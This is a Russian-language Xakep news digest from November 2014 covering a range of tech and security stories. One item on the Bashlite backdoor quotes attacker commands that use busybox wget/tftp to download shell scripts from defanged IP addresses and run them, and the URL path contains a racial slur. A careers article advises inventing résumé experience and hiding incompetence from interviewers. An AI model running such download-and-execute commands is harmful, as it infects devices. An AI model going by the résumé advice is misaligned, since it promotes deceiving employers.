Отправляет email-рассылки с помощью сервиса Sendsay

Хakep_daily

  Все выпуски  

Светодиодная лампочка со встроенным радаром *


PDA   подписка    wiki   bugtrack   статьи    видео   блог   форум   поиск    друзья   






Имплантация в ладонь NFC-чипа с биткоин-кошельком
2014-11-17 11:58 Denis Mirkov

Каждый владелец биткоинов наверняка задумывался о способе «холодного» долговременного хранения запасов валюты. На какой носитель записать копии кошельков, где их держать? Компакт-диски деградируют за несколько лет, USB-флешки хрупки и ненадёжны. Как ни странно, один из самых надёжных вариантов — табличка в древнем стиле с выбитыми на ней знаками (байтами) файла кошельков. Это может глиняная, металлическая, каменная табличка, или просто лист папируса бумаги. Пару листиков с распечаткой, спрятанные в сейфах, возможно, будут надёжнее флешки.

Голландский предприниматель Мартин Уисмайер (Martijn Wismeijer), однако, предлагает иной способ. По его мнению, надёжнее всего носить кошельки всегда с собой. С этим не поспоришь: так файлы надёжно защищены от пожаров, наводнений и прочих напастей, которые могут случиться по месту хранения физического носителя, так что хозяин потеряет к нему доступ. Здесь файлы всегда под рукой. Точнее, прямо в руке.

Биткоин-энтузиаст имплантировал маленькие NFC-микросхемы себе в ладони, так что у него всегда с собой цифровая информация.

В первом чипе данные обновляются: это контактная информация. А во втором чипе — часть зашифрованного секретного ключа для доступа к общему биткоин-кошельку, где хранятся основные резервы его фирмы Mr.Bitcoin. Другие части секретного ключа распределены между совладельцами фирмы с помощью схемы разделения секрета Шамира.

Для хранения хакер выбрал RFID-микросхемы NTAG216, совместимые со стандартом NFC Type 2. Маленькие стеклянные капсулы размером примерно 2х12 мм вмещают около 880 байт информации. Набор вместе с «заряженным» шприцем продаётся, например, в интернет-магазине DangerousThings.com за $99.

003

Говорят, инъекция чипа — болезненная процедура, это больнее, чем простой укол.



Неправильный, но быстрый способ стать программистом
2014-11-17 13:29 LifeHacker

Возможно, ты по какой-то причине вдруг резко захотел стать программистом. Хорошая новость в том, что, поняв систему, можно научиться проходить собеседования и выживать первые месяцы на работе.

Плохая новость заключается в том, что от азбуки программирования всё равно никуда не деться, и чтобы чувствовать себя на новой должности комфортно, придётся в срочном порядке доучивать всё то, что ты, как предполагается, и так знаешь как свои пять пальцев.

Разумеется, речь в статье пойдёт исключительно о моём личном опыте, который позволял мне проходить собеседования даже в такие топовые компании, как Luxoft.

Как я стал программистом

С компьютером я впервые познакомился в 6 лет. В 13 лет у меня уже был свой персональный веб-сайт. В школе учился плохо, в универе тоже. На втором курсе мой друг нашёл работу Java-программистом и настоятельно рекомендовал мне сделать то же самое. Идея заинтриговала. Нужен был план.

Первый шаг — резюме

Первая и основная проблема, с которой сталкиваются новички, — резюме. Без адекватного, цепляющего резюме тебя не будут приглашать на собеседования. Но как быть тем, у кого совсем нет опыта работы? Для того чтобы «не с пустыми руками» идти к HR, мы с другом вписали мне в резюме целый год опыта работы над его проектом, над которым якобы вместе трудились.

Зарплатная политика

Следующим важным моментом в резюме после востребованных технологий и английского языка был желаемый оклад. Недолго думая, мы с другом решили играть по-крупному и написали заоблачную по тем временам сумму в тысячу долларов, которая должна была отсеять «компании-нищеброды».

Позор и стыд

Первые собеседования были провальными. Надо мной буквально смеялись. На первом же техническом собеседовании, где мне дали пару задачек на бумаге, меня раскусили в два счёта. Кто-то даже по-отечески посоветовал книгу Thinking in Java.

Первая работа

В конце концов меня пригласили на собеседование в филиал одной датской компании, где я ответил на фундаментальные вопросы и приятно удивил всех своим английским. Меня взяли на должность Junior Java developer с одним условием — первые три месяца я буду проходить курс SCJP (Sun Certified Java Programmer), который восполнил бы мои пробелы и выковал бы из меня более подготовленного специалиста. Что может быть лучше, чем оплачиваемая стажировка без нужды работать (выдавать свою некомпетентность)? В этой компании я проработал полгода, чтобы через несколько месяцев пойти на повышение в компанию покрупнее.

На основе своего горького, но всё же бесценного опыта я приведу список рекомендаций, которые помогут товарищам-авантюристам относительно быстро найти работу программистом.

Рекомендации для начинающих программистов

  1. Резюме. Оно должно быть правильно отформатированным и написанным исключительно на английском. Если не хватает опыта, то его можно (и нужно) придумать, но следует подготовиться отвечать за каждое написанное в резюме слово. Например, если у тебя там написано JMS (Java Message Service), то как минимум следует пройти хоть одну обучалку и поиграться с JMS, поделать какие-нибудь примеры, пускай это и будет банальное «Hello, world!». Теперь будет удобнее пускать пыль в глаза, вы ты и правда «работал с JMS».

  2. Выучи азбуку программирования. Если ты ещё можешь позволить себе «плавать» на глубоких уровнях каких-нибудь комплексных технологий вроде Struts и Spring, то неправильные ответы на элементарные вопросы тебе никогда не простят. Если тебя ночью разбудить, то ты должен уметь рассказать про ООП, наследование, инкапсуляцию, полиморфизм и другие базовые концепции, а также суметь объяснить это всё на примерах.
  3. Практика. Научиться программировать можно, только лишь программируя. Это больно и неприятно (если ты не программист), но другого пути нет. Единственный способ перестать бояться задачек на собеседованиях — порешать их дома самостоятельно.
  4. Читай книги и проходи туториалы по Java только на английском Абсолютно все термины программирования проще понимать на языке оригинала, то есть на английском. Читать техническую литературу по Java на русском — себя не уважать. Почему? Потому что, чтобы понимать что-нибудь в духе «…модуль таблицы во многих смыслах представляет собой промежуточный вариант, компромиссный по отношению к сценарию транзакции и модели предметной области», нужно быть поистине гением, которым ты вряд ли являешься.
  5. Выучи, наконец, английский! В первую очередь это касается разговорного английского. Сложно сосчитать то огромное количество толковых программистов, которых на моей памяти забраковали по одной единственной причине — неудовлетворительный уровень разговорного английского. Нет, если ты, конечно, собираешься работать программистом где-нибудь в отечественной компании, то твой уровень языка не будет играть важной роли. Но если ты хочешь попасть на работу в международную компанию, то сам бог велел выучить язык. Уровень твоего английского будет конвертироваться в дополнительные сотни долларов прибавки к зарплате.
  6. Знай рынок. Походи по вакансиям, почитай требования, поспрашивай друзей-программистов, сколько они получают. Используй сервисы, которые позволят составить более полную картину о рынке IT. Ты был бы удивлён, узнав о том, насколько велико количество талантливых программистов, которые получают в два раза меньше, чем могли бы, только лишь по причине своей лени и нежелания держать нос по ветру.
  7. Торгуйся. Нет ничего предосудительного в том, чтобы торговаться за зарплату. Твоим аргументом в споре может быть как хороший английский, так и предложение о работе в другой компании. Последний аргумент особенно хорошо работает: «Да, но мне в Luxoft предлагают на 300 долларов больше, почему я должен соглашаться на ваши условия? Может, мы могли бы найти компромиссный вариант?». В своё время мне пару раз удалось выторговать дополнительную сотню долларов к своей зарплате, и через год эта сотня долларов дала мне дополнительные 1 800 долларов дохода на ровном месте. Ты должен понимать, что даже для небольших зарубежных IT-компаний лишняя сотня баксов как капля в море.
  8. Найди себе ментора. Хорошо, если у тебя будет более опытный товарищ, который сможет помочь советом и ответить даже на самые глупые вопросы. Благодаря его опыту и моральной поддержке ты будешь продвигаться в программировании быстрее, чем в одиночку. Если нет ментора, то неплохо сходить на какие-нибудь курсы по программированию, которые не только дадут более полную картинку того, чем занимается программист, но и позволят познакомиться с более опытными людьми. Кто знает, может быть, кто-нибудь из них захочет стать твоим ментором.
  9. Начни свой проект. Даже если он будет образцом самых худших практик кодинга и ты его никогда не закончишь, по крайней мере, у тебя будет то дело, ради которого захочется разбираться в программировании и изучать новые технологии. Кроме того, у тебя появится дополнительная тема для задушевных бесед на собеседованиях.
  10. Ищи работу летом. Во-первых, когда все в отпусках, в компаниях более остро ощущается нехватка кадров и повышается вероятность того, что тебя позовут на собеседование. Во-вторых, поскольку твои конкуренты-соискатели тоже на отдыхе, у тебя опять-таки повышаются шансы быть замеченным HR.
  11. Никогда не сдавайся. Даже если кажется, что ты заваливаешь собеседование, важно проявить стойкость и продолжить попытки решить задачу, какой бы сложной она ни казалась. Кто знает, может быть, тебя именно в этот момент проверяют на усердие в работе!
  12. Избегай заданий на компьютере. Нет способа быстрее раскусить непрофессионала, чем сразу же бросить его в пекло программирования. Твоя задача — постараться перевести все беседы на высокий уровень, где обсуждаются общие подходы и концепции, но никак не конкретная реализация в решении той или иной задачи. Если тебе дали бумагу и ручку и попросили записать решение, то попроси возможность нарисовать его схематически. Таким образом, удалившись от синтаксиса конкретного языка, ты не только убережёте себя от каких-нибудь режущих глаз ошибок, но и покажешь, что способен мыслить абстрактно, не вдаваясь так уж сильно в детали.
  13. Начинай говорить первым. Избегай ситуаций, когда в воздухе виснет пауза, во время которой в мозгу у интервьюера может созреть очередной коварный вопрос. Как только происходит какая-либо заминка, начинай рассказывать что-нибудь из того, что ты хорошо знаешь. Постарайся навязать интервьюеру свою игру.
  14. Старайся говорить правду. Если ты никогда не писал PL/SQL процедуры, то лучше об этом сказать прямо. Возможно, в этом для тебя будет минус, однако ты убережёшь себя от нужды выкручиваться, отвечая на вопрос, в котором ничего не смыслишь. Опытный интервьюер за версту почувствует твои пробелы в знаниях.
  15. Бойся маленьких компаний. В небольших компаниях, как правило, небольшие команды. Чем меньше в команде людей, тем быстрее тебя раскусят. Твоя цель — большая и неповоротливая корпорация, где ты сможешь выиграть для себя немного времени.
  16. Соблюдай дресс-код. Если ты придёшь на собеседование на должность программиста в шикарном костюме, то это вызовет больше подозрения, чем если ты явишься в шортах или потёртом свитере. Не лишним будет также нацепить очки, мол, «эдакий я книжный червь».

Конечно, кто-то знающий может отметить, что приведённый выше рецепт — это скорее способ стать кодером, чем программистом, и он где-то будет прав. Однако дело всё в том, что вы никогда не найдёте вакансию с заголовком «Требуется плохой кодер». Всем нужны программисты. Желательно senior. У которых более пяти лет опыта работы на корпоративных проектах и которые одинаково хорошо владеют сразу несколькими языками программирования, при этом досконально разбираются в СУБД, умеют писать bash-скрипты, хранимые процедуры, знают в совершенстве Linux, TCP/IP, обладают лидерскими качествами, стрессоустойчивостью, коммуникабельностью и ещё массой навыков, «без которых никак».

Такие люди существуют, я их сам видел. Но их слишком мало, чтобы полностью покрыть нужды вечно голодного рынка IT-специалистов. А это значит, что у тебя всегда есть шанс, эдакий ты авантюрист.



Расширения Gmail, о которых должен знать каждый
2014-11-17 14:40 LifeHacker

Gmail давно перерос рамки службы по доставке корреспонденции и сегодня является средством коммуникации, источником новостей, планировщиком. Однако на этом попытки усовершенствования не прекращаются, и разработчики предлагают нам всё новые и новые решения, которые позволяют использовать Gmail удобнее, быстрее и продуктивнее.

Todoist for Gmail

Это расширение превращает ваш почтовый ящик в полноценный список дел, работающий в связке с системой управления задачами Todoist. См. отдельный обзор.

Todoist for Gmail, Firefox Add-ons
Todoist for Gmail, Chrome Web Store

FollowUp

Это расширение поможет успешно разбираться с содержимым своего почтового ящика и всегда поддерживать его в идеальном состоянии. Для этого можно прятать на определённое время те письма, которые не требуют немедленного внимания, а также устанавливать себе напоминания таким образом, чтобы письма опять появлялись в папке «Входящие» в нужный момент.

FollowUp.cc, Chrome Web Store

Bananatag

Bananatag for Gmail — это инструмент, который позволяет отслеживать отправленные сообщения электронной почты, чтобы убедиться, что они достигли корреспондента и были прочитаны. Благодаря этому расширению ты будешь получать уведомления, которые оповестят о том, что пользователь открыл сообщение или перешёл по ссылке в письме.

Bananatag for Gmail, Chrome Web Store

SecureGmail

003

Это расширение шифрует текст письма таким образом, что даже при взломе серверов Gmail никто не увидит в твоём сообщении ничего, кроме мешанины символов. Прочитать письмо сможет только адресат, используя предварительно полученный пароль.

Secure Mail for Gmail, Chrome Web Store

CloudMagic

004

CloudMagic является по сути не просто ещё одним расширением для Gmail, а полноценным почтовым клиентом. Ранее он существовал в виде мобильных программ для iOS и Android (обзор), а теперь доступен и в Google Chrome. С помощью CloudMagic ты сможешь объединить в одном интерфейсе сразу несколько почтовых аккаунтов, получать мгновенные уведомления о приходе новой корреспонденции, искать письма в любом из подключенных почтовых ящиков и многое другое.

CloudMagic, Chrome Web Store

Boomerang

Расширение Boomerang поможет отправлять письма по расписанию. Для этого следует указать точное время отправки и спокойно заниматься своими делами — все отмеченные письма будут автоматически отправлены именно в заданный срок. Кроме этого, сервис умеет напоминать о важных письмах, которые ты отложил на потом (обзор).

Boomerang for Gmail, Chrome Web Store

Rapportive

005

Это расширение предназначено для получения полной информации о любом человеке, с которым ты переписываешься. После его установки в интерфейсе Gmail появится дополнительная панель, на которую Rapportive подтянет данные об аккаунтах в основных социальных сетях и Skype. Кроме этого, ты сможешь даже почитать последние твиты своего адресата и посмотреть опубликованные им фото (обзор).

Rapportive, Firefox Add-ons
Rapportive, Chrome Web Store

Checker Plus for Gmail

Хотя все руководства по повышению продуктивности рекомендуют как можно реже проверять почтовый ящик, иногда бывают ситуации, что ты ждёшь важное письмо и должен ответить на него максимально быстро. В этом случае обрати внимание на расширение Checker Plus, которое позволяет получать уведомления о приходе новых писем и даже отвечать на них, не открывая основной интерфейс почтового клиента.

Checker Plus for Gmail, Chrome Web Store

ActiveInbox

Это расширение превращает Gmail в мощный комбайн, состоящий из планировщика задач, календаря и собственно почты. Оно сделает возможным распределение писем по проектам и срочности, присвоение различных меток, напоминаний, добавление комментариев и множество других функций. Одним словом, благодаря ActiveInbox вы сможете создать на основе своего почтового ящика полноценную систему управления проектом, которая поможет никогда не забывать о важных делах и событиях.

ActiveInbox for Gmail, Chrome Web Store
ActiveInbox for Gmail, Firefox Add-ons

WiseStamp

006

При общении по электронной почте важное значение имеет каждая деталь, в том числе и твоя подпись. Она должна быть запоминающейся, информативной, эффектной. Именно такую подпись ты сможешь создать с помощью расширения WiseStamp. Оно умеет подтягивать из сети твой аватар, данные профилей из социальных сетей, твои координаты и всё то, что ты посчитаешь нужным.

WiseStamp – Email Signatures for Gmail, Chrome Web Store
Gmail Sig, Firefox Add-ons



Спамеры воруют неиспользуемые IP-адреса
2014-11-17 15:50 Denis Mirkov

Глобальная маршрутизация интернет-адресов — исключительно сложная система, которая требует скоординированной работы организаций, разбросанных по всему миру, и чётких процедур. Сложность — враг безопасности. К сожалению, этим пользуются мошенники, которые присваивают себе чужие IP-адреса.

Две недели назад журналист в области информационной безопасности Брайан Кребс рассказал о мошеннической схеме, которую использовал один хорошо известный спамер в своей работе. Первым делом, он зарегистрировал пару хостинг-провайдеров в Болгарии: 1, 2. В течение нескольких месяцев в их распоряжение перешли десятки IP-адресов от провайдеров по всему миру: из Бразилии, Вьетнама, Индии, Китая, Мексики, Тайваня, ЮАР, Японии и других стран.

Например, на скриншоте показаны IP-адреса, полученные провайдером Mega-Spred с конца августа 2014 года.

003

По мнению экспертов, Mega-Spred и второй хостер эксплуатировали «уязвимость» в административной процедуре, которая действует в некоторых странах и регионах по части закрепления определённых диапазонов IP-адресов за конкретными хостерами и интернет-провайдерами. Если IP-адрес не используется, то злоумышленник может задекларировать его в своё распоряжение, используя несогласованность между административными органами.

Специалисты говорят, что налицо фундаментальная проблема с ведением списка адресов и таблиц маршрутизации в организации RIPE NCC — одном из пяти региональных интернет-регистраторов (RIR), выполняющих распределение интернет-ресурсов, а также связанную с этим регистрацию и координацию деятельности. RIPE NCC отвечает за Европу, Ближний Восток и часть Центральной Азии. В результате, оператор сети в регионе RIPE NCC может перерегистрировать на себя адреса, принадлежащие операторам в других зонах. RIPE NCC меняет запись в своей базе, не проводя проверку, а отсюда запись попадает в другие базы.

Специалисты RIPE NCC осведомлены об этой «уязвимости» и недавно обсуждали её. Но у них, судя по всему, нет доступа к достоверной информации о договорённостях между операторами о предоставлении IP-адресов друг другу, так что они не могут проверить каждую такую транзакцию на уровне Internet Routing Registry. В общем, на сегодняшний день остановить активность болгарских хостеров невозможно.



В каких USB-контроллерах есть фатальная уязвимость BadUSB
2014-11-17 17:28 Denis Mirkov

В августе этого года известные хакеры Карстен Нол (Karsten Nohl) и Якоб Лелл (Jakob Lell) из консалтинговой компании SR Labs сообщили о «фундаментальной уязвимости устройств USB». В октябре они опубликовали код программы для взлома компьютера по USB и с тех пор проверили сотни различных устройств разных производителей на наличие бага. Полный список проверенных устройств см. здесь.

Были проверены все USB-контроллеры от 8 крупнейших мировых производителей: Phison, Alcor, Renesas, ASmedia, Genesys Logic, FTDI, Cypress и Microchip.. Результаты проверки неоднозначные. Хорошая новость в том, что около половины устройств не подвержена уязвимости. Плохая новость: вы не можете сказать, какая конкретно половина.

Буквально каждая модель флешки, веб-камеры, концентратора или адаптера для флеш-карт поставляется с разной начинкой, в зависимости от партии. В одной партии может быть уязвимый контроллер, а в другой — уже нет. Модель контроллера не обозначена на упаковке. Узнать её можно только после вскрытия прибора. Приходится использовать устройство вслепую.

О результатах исследования авторы рассказали на конференции по безопасности PacSec, которая прошла на прошлой неделе в Токио (слайды, pdf).

Есть несколько интересных фактов, достойных отдельного упоминания. Например, уязвимости подвержены абсолютно все USB-флешки с контроллерами производства тайваньской фирмы Phison. Все чипы ASmedia, напротив, защищены от бага. У другой тайваньской компании Genesys уязвимы контроллеры USB 3.0, но безопасны контроллеры USB 2.0. В общем ситуация совершенно непредсказуемая.

Программа BadUSB устанавливается в прошивку периферийного устройства и полностью берёт под контроль компьютер при подключении к нему по USB. На компьютере жертвы BadUSB творит что угодно, в том числе видоизменяет файлы, которые устанавливаются в системе, и перенаправляет интернет-трафик на произвольные адреса, изменив DNS-записи. Зловред всегда может выдать себя за клавиатуру и ввести произвольные команды.

Установленная на компьютере программа может изменить прошивку по USB, а та, в свою очередь, может установить зловреда в системе. Из-за такого двустороннего взаимодействия ни одному устройству и компьютеру больше нельзя доверять. Вы не только должны ограничить свой ПК от посторонней периферии, но и сами не можете безопасно вставить чистую флэшку в посторонний ПК.

Поскольку код находится в прошивке, его довольно трудно обнаружить и удалить. Самая действенная защита — вообще запретить подключение к компьютеру новых USB-устройств: флешек, мышек, клавиатур, смартфонов и других приборов. А в будущем производители обязаны будут чётко указывать, какие конкретно микросхемы установлены в их устройствах. Как вариант, можно использовать криптографическую проверку обновлений прошивки.



Уязвимость Shellsock даёт доступ к устройствам BusyBox
2014-11-17 20:54 Denis Mirkov

После того как в сентябре огласили информацию об уязвимости Shellshock в Bash, замечено несколько целенаправленных атак, использующих именно эту уязвимость. Среди них атаки на SMTP-серверы и DDoS. А вот теперь прибавилась ещё одна. Последние образцы бэкдора Bashlite научились заражать сетевые устройства, работающие на операционных системах с популярным интерфейсом BusyBox.

Антивирусная компания Trend Micro пишет, что при заражении одного из устройств бэкдор Bashlite начинает сканировать локальную сеть в поисках уязвимых устройств BusyBox. Затем бэкдор авторизуется на них, используя набор стандартных имён пользователя и паролей (на скриншоте).

003

После установления соединения он скачивает и запускает вредоносные скрипты bin.sh и bin2.sh.

cd /tmp
busybox wget http://69[.]163[.]37[.]115/.niggers/bin.sh
busybox tftp -r bin.sh -g 69[.1]63[.]37[.]115
sh bin.sh
echo -e ‘\\x62\\x69\\x6e\\x66\\x61\\x67\\x74′\r\n

cd /tmp/
busybox wget http://176[.]10[.]250[.]37/.niggers/bin2.sh
busybox tftp -r bin2.sh -g 176[.]10[.]250[.]37
sh bin2.sh
echo -e ‘\\x62\\x69\\x6e\\x66\\x61\\x67\\x74′\r\n



Совместная работа видеокамер по отслеживанию людей
2014-11-17 23:12 Denis Mirkov

Камерами видеонаблюдения с распознаванием лиц и идентификацией личности сегодня никого не удивишь. В каждом мегаполисе установлены десятки тысяч. Теперь перед Большим братом стоит следующая задача: как объединить камеры в единую сеть и отслеживать граждан по маршруту, передавая их от камеры к камере.

В этой области в последнее время опубликовано несколько научных работ. Например, специалисты из Вашингтонского университета разработали инновационную систему, которая использует 3D-реконструкцию сцены и метод принудительного Multiple-Kernel трекинга для слежения за отдельными объектами. Система успешно отслеживает людей, даже если область съёмки у видеокамер не перекрывается, и объект на время скрывается из виду.

«Отслеживание людей в трёхмерном пространстве достаточно ново, — говорит один из авторов научной работы, профессор электротехники в Вашингтонском университете Джен-Нэн Хван (Jenq-Neng Hwang). — Когда камеры говорят друг с другом, мы можем описать реальный мир в более динамичном смысле».



Радиопередатчик за 2 доллара для Raspberry Pi
2014-11-18 01:10 Denis Mirkov

Всем нравится давать вторую жизнь вещам и находить применение деталям, которые иначе пришлось бы выбросить. Немецкий инженер Тобиас Медел (Tobias Mädel) именно это сделал со старым FM-передатчиком для мобильного телефона Sony-Ericsson. Его удалось подключить к Raspberry Pi.

Трансмиттер Sony-Ericsson MMR-70 соединяется с телефоном и транслирует музыку в FM-диапазоне, так что её можно слушать на обычном радиоприёмнике. Сейчас эти гаджеты морально устарели и на барахолке их можно найти за пару долларов. Так вот, за такую низкую цену, чуть поковырявшись, мы получаем полноценный FM-передатчик для Raspberry Pi.

Программа FMBerry, которую написал Тобиас Медел, поддерживает изменение частоты и мощности сигнала, и даже умеет отправлять на приёмник RDS-информацию, в частности, название композиции.

Как выяснилось, в этих передатчиках используется микроконтроллер AVR ATMega32 и модуль передатчика NS73. Всей этой электроникой можно управлять с платы Raspberry Pi (см. схему в PDF).



Обзор лучших репозиториев Github за неделю
2014-11-18 09:00 Denis Mirkov

Продолжаем публиковать обзоры open source проектов, наиболее популярных на сайте Github за неделю.

1. .NET Core: библиотеки для .NET, модульная база, на которой базируются все будущие платформы .NET, она уже используется в ASP.NET 5 и .NET Native.

003

2. .NET Home: стартовая страница для обзора всех репозиториев, которые Microsoft выложила в открытый доступ.

3. Material-UI: CSS-фреймворк и набор компонентов React, которые реализуют на практике спецификации «материального дизайна» от Google.

4. MetricsGraphics.js: библиотека, оптимизированная для визуализации и компоновки временных рядов (графиков с данными, отсортированными по времени), см. страницу с примерами. Поддерживаются разные виды графиков.

5. Particles.js: компактная библиотека JavaScript для генерации структур из частиц (демо).

004

6. Flashlight: недостающая система плагинов для Spotlight. Использует неофициальные Spotlight API, так что это самый настоящий грязный хак.

005

7. Pyspider: Powerful Spider System — удобная площадка для запуска «пауков», которые скачивают страницы по заданным правилам и выполняют другие задания в интернете, с системой мониторинга и прочими приятностями (демо).

006

8. Vivus.js: маленькая JavaScript-библиотека без зависимостей для генерации анимаций SVG на веб-странице (демо).

9. Thrust: фреймворк на основе Chromium Content Module, который позволяет запускать приложения, написанные на NodeJS, Go или Python, на разных платформах: Linux, MacOSX или Windows.

10. Delve: дебаггер для программ Go, написанный на Go.



Апдейт OS X не решил проблему с WiFi
2014-11-18 10:59 Denis Mirkov

Судя по первым отзывам пользователей, вчерашнее обновление OS X 10.10.1 не избавляет от проблем с устойчивостью WiFi-соединений, хотя компания Apple упомянула этот глюк среди прочих, которые должен был исправить новый патч.

Обновление OS X 10.10.1 (311 МБ) — первое обновление с момента выхода версии Yosemite 16 октября 2014 года. По официальному описанию, оно «улучшает стабильность, совместимость и безопасность вашего компьютера», в том числе:

  • повышает устойчивость WiFi-соединений;
  • повышает устойчивость соединений с сервером Microsoft Exchange;
  • позволяет отправлять письма некоторым почтовым провайдерам, которые изначально были ошибочно заблокированы;
  • исправляет глюк с подключением к удалённому компьютеру через сервис Back to My Mac;
  • решает проблему с отображением старых бэкапов Time Machine;
  • исправляет баг с выходом из спящего режима некоторых компьютеров Mac mini;
  • устраняет ещё несколько незначительных багов.

На форумах, где общаются пользователи продукции Apple, открыто несколько веток с обсуждением проблемы WiFi. Самая популярная из них насчитывает уже 1116 сообщений и 215 100 просмотров. Люди жалуются, что соединение WiFi всё равно непроизвольно разрывается каждые несколько минут даже после установки обновления 10.10.1.



Светодиодная лампочка со встроенным радаром
2014-11-18 12:10 DigiMedia

Компания Union Tool представила LED-светильник Laser Light со встроенным радаром миллиметрового диапазона 24 ГГц, являющийся разработкой подразделения системных LSI корпорации Panasonic. Новый светильник освещает комнату как обычная лампа, одновременно отслеживая всё, что происходит в помещении. Благодаря миниатюрному встроенному радару он способен фиксировать объекты, находящиеся перед ним на расстоянии до 8 м.

003

Угол обзора составляет 160°. Например, находясь на потолке над кроватью, светильник Laser Light может фиксировать ритм дыхания или сна лежащего человека.

Продажи светильника начнутся в сентябре 2015 года, цена пока не сообщается.

via Digital Media, Яна Байдачник




© Copyright Gameland

В избранное